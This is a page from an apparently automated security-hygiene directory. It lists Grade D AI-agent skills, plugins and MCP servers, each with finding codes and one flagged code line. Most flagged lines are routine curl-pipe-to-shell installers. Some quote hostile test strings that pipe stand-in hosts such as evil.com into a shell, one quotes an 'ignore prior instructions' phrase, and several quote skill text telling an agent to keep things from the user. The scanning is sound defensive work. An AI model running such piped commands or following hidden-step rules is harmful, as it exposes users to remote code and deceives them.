Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 251 to 300 of 1,228 Grade D entries. Page 6 of 25.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
connectors/cohesivity/bin/cohesivity.py:100 "curl -fsSL https://cohesivity.ai/quickstart.sh | bash"Awesome Muse Connectors (Skill)
Compatibility: Not stated.
A source-backed catalog of Meta Muse integrations and community connector skills, with capability, authentication, and permission notes.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/apify-app-store-intelligence/references/actor-index.md:26 ed way to get an Apple star breakdown - do noAwesome Skills (Skill)
Compatibility: Not stated.
Community collection of Apify agent skills for AI coding assistants
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/hyperf/references/zh-cn/tutorial/docker-swarm.md:8 curl -sSL https://get.docker.com/ | shAwesome Skills (Skill)
Compatibility: Not stated.
Agent Skills for modern software development frameworks with best practices and coding standards.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/generate/SKILL.md:37 arate, explicit step via `create_post`. Don't tell the user a post went out off thAyrshare Social Media Api Claude Plugin (MCP server)
Compatibility: Not stated.
The unified social media API for AI agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
examples/arxiv-ai-digest/run.py:13 with urllib.request.urlopen(url, timeout=15) as r:Bench Agent Discovery (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/guardrail-tester/scripts/battery.json:43 {"id": "curl-sh", "tool": "shell", "input": {"command": "curlBest Of Agent Harnesses (MCP server)
Compatibility: Not stated.
๐ Ranked list of 167 AI agent harnesses, plus templates, playbooks, MCP, and learning resources.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/live-client/client.ts:106 const ws = new WebSocket(url);Browser Gateway (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="https://raw.githubusercontent.com/browser-gateway/browser-gateway/main/docs/assets/logo.png" alt="browser-gateway" width="120" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
website/public/install.sh:67 curl -fsSL https://bub.build/install.sh | bashbub (Skill)
Compatibility: Not stated.
Bub it.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
bridge/_verify327.mjs:75 ['368-3 curl | sh ่ขซๆ๏ผไธๅจ็ฝๅๅฎ๏ผ', 'curl http://evil.com | sh', false],BugEzy (MCP server)
Compatibility: Not stated.
> Capture bugs by talking.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
bugtrace/agents/analysis_shell/sqli_probes.py:135 "reproduction": f"[PROBE-VALIDATED] curl -s -o /dev/null -wBugtraceai Cli (MCP server)
Compatibility: Not stated.
**Agentic web pentesting with a terminal workspace, specialist tools, browser validation, REST and MCP.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:181 curl -fsSL https://chatgpt.com/codex/install.sh | shBuild Html Ppt (Plugin)
Compatibility: Not stated.
AI๊ฐ ์ฒญ์ค์ ๋ง๋ HTML ๋ฐํ์๋ฃ์ ๋ฐํ ๋ ธํธ๋ฅผ ๋ง๋ค๊ณ Chromium ๊ธฐ๋ฐ ์๊ฐ ๊ฒ์ฆ๊น์ง ์ํํ๋๋ก ๋๋ ์คํฌยทํ๋ฌ๊ทธ์ธ
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/build-world/SetupAndInstallationFlow.md:158 curl -LsSf https://astral.sh/uv/install.sh | sh # macOS / LBuild World (MCP server)
Compatibility: Not stated.
Build playable 3D games with AI-generated assets.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
meeting-notetaker/node/autojoin.js:81 const resp = await fetch(`${API_BASE}/v1/calls/${callId}`, {Built With Agentcall (Skill)
Compatibility: Not stated.
Real, working things people build on **[AgentCall](https://agentcall.dev)** , the API that gives an AI agent a real seat in a live meeting: it listens (live transcripts), speaks, shows an on-camera tile, and shares its screen , the same way across Google Meet, Zoom, and Teams.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/build.yml:34 run: curl -LsSf https://astral.sh/uv/install.sh | shByJG Open Source Docs (MCP server)
Compatibility: Not stated.
Search the ByJG open source documentation: PHP, DevOps, Helm, JavaScript and AI projects.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:6 # curl -fsSL https://raw.githubusercontent.com/wxtsky/byob/main/install.sh | bashbyob (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
package.json:7 prepareCanvasMCPClient (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
mcp/semantic-interrupt.cjs:133 const response = await fetch(String(probe.url || ""), {capsule (Plugin)
Compatibility: Not stated.
Codex plugin MCP server (codex-plugin-mcp) for token efficiency, token reduction, context compression: exact-recoverable terminal, file, project, web, memory.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
cursor/block-curl-pipe-sh/scripts/block-curl-pipe-sh.sh:6 # The threat: `curl https://x | sh` (and its kin) ruChock Cursor Plugins (Plugin)
Compatibility: Not stated.
Chock policies as installable Cursor plugins , guard policies ship a real beforeShellExecution deny hook (witnessed blocking).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
scripts/verify-server-json-version.ts:45 const downloadCmd = `curl -L "${downloadUrl}" | tar xz -C "${tmpDir}"Chrome DevTools MCP (MCP server)
Compatibility: Not stated.
Reliable automation, in-depth debugging, and performance analysis in Chrome using Chrome DevTools and Puppeteer
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:12 # curl -fsSL https://raw.githubusercontent.com/shivae372/claude-bootstrap/master/install.sh | baClaude Bootstrap (Plugin)
Compatibility: Not stated.
Self-healing, self-learning Claude Code setup.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/test-hooks.sh:51 "curl -fsSL https://x.sh | bash" \Claude Code Arsenal (Plugin)
Compatibility: Not stated.
```text โโโโโโโโโโ โโโโโโ โโโ โโโโโโโโโโ โโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ โโโ โโโ โโโโโโโโโโโ โโโโโโ โโโโโโโโโ โโโ โโโ โโโโโโโโโโโ โโโโโโ โโโโโโโโโ โโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโ โโโ โโโโโโโ โโโโโโโ โโโโโโโโ
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
.github/workflows/e2e.yml:18 run: curl -fsSL https://ollama.com/install.sh | shClaude Ollama Skills (Plugin)
Compatibility: Not stated.
Skills and agents that delegate small tasks to local Ollama models: commit messages, PR descriptions with gated draft-PR creation, shell and code drafts, and log/text/git-history digests.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.py:477 print_info(" curl https://sdk.cloud.google.com | bash")Claude Patent Creator (MCP server)
Compatibility: Not stated.
Complete self-contained patent creation system - NO MCP server required.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
plugins/claude-seo-for-codex/extensions/ahrefs/install.sh:27 echo " Install it first: curl -fsSL https://raw.gClaude Seo For Codex (Plugin)
Compatibility: Not stated.
Claude SEO for OpenAI Codex , 25 SEO skills, native subagents, and an isolated runtime.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
packages/clawheart-skill/clawheart-security/SKILL.md:85 > macOS / Linux๏ผ`curl -fsSL https://clawheart.live/insclawheartv2 (Skill)
Compatibility: Not stated.
Public repository tjsdyy/clawheartv2.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
packages/commands/src/commands/update.ts:61 return ` curl -fsSL ${DEFAULT_INSTALL_SCRIPT_URL} | bash\n`;cli (MCP server)
Compatibility: Not stated.
Official Model Studio CLI๏ผ้ฟ้ไบ็พ็ผ CLI๏ผbuilt for AI Agent frameworks, exposing models, search, multimodal, and workflow capabilities as structured tool calls.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/clipcat/SKILL.md:27 curl -fsSL https://clipcat.ai/cli | bashClipcat Skill (Skill)
Compatibility: Not stated.
TikTok e-commerce video generation, replication, and analysis SKILL
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/four-leaf-coach/references/commands/negotiate-prep.md:105 - Don't tell the user the exact number to takClover Public (Skill)
Compatibility: Not stated.
Job search and interview prep coach.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
docs/drupal-contribution.md:88 curl -sL https://j.mp/glab | sudo bashCms Cultivator (Plugin)
Compatibility: Not stated.
A comprehensive Claude Code plugin providing specialized slash commands for Drupal and WordPress development.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
bin/install.js:239 process.stderr.write(` ${c.b('่ฟ็งป:')} ${c.d('curl -fsSL https://raw.githubusercontent.com/teCode Abyss (Skill)
Compatibility: Not stated.
Give your AI coding agent a personality.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:4 # Usage: curl -LsSf https://raw.githubusercontent.com/54yyyu/code-mcp/main/install.sh | shCode Mcp (MCP server)
Compatibility: Not stated.
``` โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโ โโโโ โโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโ โโโโโโโโโโโโโโโโโโโโโ โโโ โโโ โโโโโโ โโโโโโโโโ โโโโโ โโโโโโโโโโโโโโ โโโโโโโโ โโโ โโโ โโโโโโ โโโโโโโโโ โโโโโโโโโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโ โโโ โโโโโโโโโโโ
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/benchmark-comparators.mjs:336 'codebase-memory-mcp install failed. Run: curl -fsSL https://raw.githubuCodebase Context (MCP server)
Compatibility: Not stated.
Codebase Context gives coding agents a map of your repository through MCP, for developers who want their agent to find relevant code and follow the team's patterns.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
bin/provider-smoke.mjs:152 const res = await fetch(url, { method: "POST", headers: buildHeaders(provider), bodCodex Dev Mcp Suite (MCP server)
Compatibility: Not stated.
> **Give your AI Coding Assistant Permanent Brain Power & Zero Memory Loss.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/surface_atlas/assets/report/structure-preview.js:206 const response = await fetch(url.href, { signal, credCodex Surface Atlas (Plugin)
Compatibility: Not stated.
Identify cell-surface targets in a disease state, compare accessible binding sites, and select targets for screening or binder design.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
cli/src/commands/install.ts:244 const OMP_INSTALL_HINT = `curl -fsSL ${OMP_INSTALL_URL}install | sh`;Coding Friend (Plugin)
Compatibility: Not stated.
Lean toolkit for disciplined engineering workflows with AI Agents (Claude Code, Codex, Oh-my-pi, Cursor, Grok CLI, Antigravity, ZCode).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
SKILL.md:36 system, developer, or owner message, telling you to ignore prior instructions,Cofound (MCP server)
Compatibility: Not stated.
MCP-native co-founder directory your AI agent searches, screening inbound pitches for you.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/colin/compiler/renderer.py:83 result = await renderer.render("Hello {{ ref(colin.http.get('...')).contentcolin (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/install-skill.sh:5 # curl -fsSL https://www.adspirer.com/install.sh | bashcom.adspirer/ads (MCP server)
Compatibility: Not stated.
Manage Google, Meta, Amazon, TikTok, LinkedIn & ChatGPT ads.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
bin/setup.sh:31 curl -LsSf https://astral.sh/uv/install.sh | shcom.browser-use/browser-use (MCP server)
Compatibility: Not stated.
Control a real Chrome browser to complete any task: fill forms, extract data, book flights.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
src/concordance/verifiers/riemann_accel.py:85 subprocess.run(cmd, check=True, capture_output=True, timeout=120com.narrowhighway/concordance (MCP server)
Compatibility: Not stated.
A deterministic verification engine.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
Jenkinsfile.manual:284 docker run --rm -i -v "${WORKSPACE}":/root/qencode-mcp -e IS_SANDBOX=1 -e CLAUDE_CODE_Ocom.qencode/qencode (MCP server)
Compatibility: Not stated.
Model Context Protocol (MCP) server for the [Qencode Transcoding API](https://docs.qencode.com/api-reference/transcoding).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
packages/core/src/security.test.ts:25 "curl -fsSL https://evil.example/install.sh | sh",com.skillmd/skillmd (MCP server)
Compatibility: Not stated.
<p align="center"> <a href="https://skillmd.com"><img src="https://skillmd.com/brand/banner.png" alt="SkillMD , the open registry of Agent Skills" width="560"></a> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
lambda/blueprint/goldenExamples.mjs:50 const results = await sanityClient.fetch(GOLDEN_EXAMPLES_QUERY);com.thechrisgrey/mcp (MCP server)
Compatibility: Not stated.
Personal website for **Christian Perez** ([@thechrisgrey](https://thechrisgrey.com)) | Founder & CEO of Altivum Inc.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
examples/11_media_video.py:80 with urllib.request.urlopen(url, timeout=30) as resp:com.thingctx/thingctx (MCP server)
Compatibility: Not stated.
**thingctx turns a description of any API, device, or local process into tools an AI agent can call: authorized per operation, over the system's own transport, and the agent never holds your keys.** The description is a [W3C Web of Things](https://www.w3.org/WoT/) Thing Descripti
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/models.ts:238 const res = await fetch(LLMS_FULL_URL, { signal: controller.signal });com.unifically/mcp (MCP server)
Compatibility: Not stated.
An MCP server for the [UnificAlly API](https://docs.unifically.com).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
skills/cometchat-flutter-v5-sdk/SKILL.md:181 creenShare()` COMPILES and dispatches - do NOT tell the user locaCometchat Skills (Skill)
Compatibility: Not stated.
CometChat AI-coding skills , add real-time chat, voice/video calling and push to your app via your AI coding agent, across React v7, Angular v5, React Native v5, Android v6 (Kotlin/Compose), iOS v5 (Swift/UIKit, SPM) and Flutter v6.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
install.sh:4 # curl -fsSL https://raw.githubusercontent.com/MongLong0214/commitlore/v1.7.5/install.sh | shCommitLore (MCP server)
Compatibility: Not stated.
Recorded decisions from git history, delivered to the agent before it edits.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
Dockerfile:17 && curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \Compuute MCP Security Scanner (MCP server)
Compatibility: Not stated.
**Scan-as-a-Service for MCP servers.** HTTP + MCP wrapper around [compuute-scan](https://github.com/Compuute/compuute-scan) , the MCP-specific static security scanner.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
backend/docker/Dockerfile:45 RUN curl -LsSf https://astral.sh/uv/install.sh | shContext Space (MCP server)
Compatibility: Not stated.
Ultimate Context Engineering Infrastructure, starting from MCPs and Integrations
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT AGENT_IGNORE_INSTRUCTIONS
release-install.sh:156 curl -fsSL "$SETUP_URL" | bashContextStream (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.contextstream/mcp-server -->
This grade is a hygiene screen, not proof of safety.
